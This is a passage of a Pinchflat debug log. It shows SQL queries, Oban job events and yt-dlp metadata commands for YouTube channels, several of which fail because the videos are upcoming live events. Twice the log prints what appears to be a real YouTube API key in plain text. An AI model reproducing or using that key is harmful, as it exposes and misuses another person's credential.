s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:01:14.845 [debug] QUERY OK source="settings" db=0.1ms idle=498.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.845 [debug] QUERY OK source="media_profiles" db=0.1ms idle=498.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:14.846 [debug] QUERY OK source="settings" db=0.6ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.846 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:01:14.846 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.846 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:01:14.983 [debug] QUERY OK source="media_items" db=0.6ms idle=137.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 17:01:14.984 [debug] QUERY OK source="settings" db=0.0ms idle=138.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.984 [debug] QUERY OK source="settings" db=0.0ms idle=138.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.984 [debug] Running yt-dlp command for action: get_media_attributes 17:01:14.984 [debug] QUERY OK source="settings" db=0.0ms idle=138.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.984 [debug] QUERY OK source="settings" db=0.0ms idle=138.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.985 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/69/0a693b52083c2e4dbcf80650ac19c42e887ffc3e2cd162aab16ad6cd1b7fd492.json --sleep-requests 83 --sleep-interval 88 --sleep-subtitles 79 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:01:15.450 [info] {"source":"oban","duration":9782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:43.991 [info] GET /sources/b6ca975a-e50c-45df-83b5-2c5f247bbeb2/feed.xml 17:01:43.991 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "b6ca975a-e50c-45df-83b5-2c5f247bbeb2"} Pipelines: [:maybe_basic_auth] 17:01:43.991 [debug] QUERY OK source="sources" db=0.2ms idle=1644.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["b6ca975a-e50c-45df-83b5-2c5f247bbeb2"] 17:01:44.001 [debug] QUERY OK source="media_items" db=9.6ms idle=1644.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [45, 2000] 17:01:44.047 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1181.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [45] 17:01:44.047 [debug] QUERY OK source="media_metadata" db=0.0ms idle=700.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577896] 17:01:44.049 [info] Sent 200 in 58ms 17:01:45.458 [info] {"source":"oban","duration":7542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:02:00.428 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:15.468 [info] {"source":"oban","duration":10021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:32.922 [info] {"args":{"id":42},"id":5268332,"meta":{},"system_time":1791583352922228869,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:02:32.923 [debug] QUERY OK source="sources" db=0.6ms idle=1575.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:02:32.923 [debug] QUERY OK source="settings" db=0.1ms idle=1576.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.923 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:02:32.924 [debug] QUERY OK source="settings" db=0.5ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.924 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:02:32.924 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.924 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:02:32.979 [debug] QUERY OK source="media_items" db=0.2ms idle=55.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:02:32.979 [debug] QUERY OK source="settings" db=0.0ms idle=55.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.979 [debug] QUERY OK source="settings" db=0.0ms idle=55.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.979 [debug] Running yt-dlp command for action: get_media_attributes 17:02:32.979 [debug] QUERY OK source="settings" db=0.0ms idle=55.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.979 [debug] QUERY OK source="settings" db=0.0ms idle=55.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.979 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:32.980 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/87/7b/877b6e817858d82dc7cccf7c63250cad4ae397cbe9785c3e7185f53065bfb89d.json --sleep-requests 79 --sleep-interval 71 --sleep-subtitles 72 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:02:39.471 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/69/0a693b52083c2e4dbcf80650ac19c42e887ffc3e2cd162aab16ad6cd1b7fd492.json --sleep-requests 83 --sleep-interval 88 --sleep-subtitles 79 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:02:39.472 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:02:39.472 [debug] QUERY OK source="settings" db=0.0ms idle=1125.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:39.472 [debug] QUERY OK source="settings" db=0.0ms idle=1125.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:39.472 [debug] Running yt-dlp command for action: get_media_attributes 17:02:39.472 [debug] QUERY OK source="settings" db=0.0ms idle=1125.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:39.473 [debug] QUERY OK source="settings" db=0.0ms idle=1126.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:39.473 [debug] QUERY OK source="settings" db=0.0ms idle=550.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:39.473 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5b/24/5b249903a726d87799d732f545a383ad2ab374d67e2895cb6efc6964e969421d.json --sleep-requests 84 --sleep-interval 74 --sleep-subtitles 78 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:02:45.479 [info] {"source":"oban","duration":9938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.428 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:15.490 [info] {"source":"oban","duration":9698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:45.500 [info] {"source":"oban","duration":9950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:03:53.351 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/87/7b/877b6e817858d82dc7cccf7c63250cad4ae397cbe9785c3e7185f53065bfb89d.json --sleep-requests 79 --sleep-interval 71 --sleep-subtitles 72 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 17:03:53.351 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 17:03:53.351 [debug] QUERY OK source="media_items" db=0.2ms idle=351.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:03:53.352 [debug] QUERY OK source="tasks" db=0.1ms idle=5.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268371, 42, ~U[2026-10-09 22:03:53Z], ~U[2026-10-09 22:03:53Z]] 17:03:53.352 [info] {"args":{"id":42},"id":5268332,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80430305,"event":"job:stop","queue_time":62006,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:00.430 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:04.900 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5b/24/5b249903a726d87799d732f545a383ad2ab374d67e2895cb6efc6964e969421d.json --sleep-requests 84 --sleep-interval 74 --sleep-subtitles 78 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:04:04.900 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:04:04.900 [debug] QUERY OK source="media_items" db=0.4ms idle=1553.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:04:04.901 [debug] QUERY OK source="tasks" db=0.1ms idle=891.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268372, 19, ~U[2026-10-09 22:04:04Z], ~U[2026-10-09 22:04:04Z]] 17:04:04.901 [info] {"args":{"id":19},"id":5268330,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170056798,"event":"job:stop","queue_time":899831,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:15.512 [info] {"source":"oban","duration":10198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:25.037 [info] {"args":{"id":13},"id":5268333,"meta":{},"system_time":1791583465037692271,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:25.038 [debug] QUERY OK source="sources" db=0.1ms idle=690.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:04:25.038 [debug] QUERY OK source="settings" db=0.1ms idle=691.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:25.038 [debug] QUERY OK source="media_profiles" db=0.0ms idle=691.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", 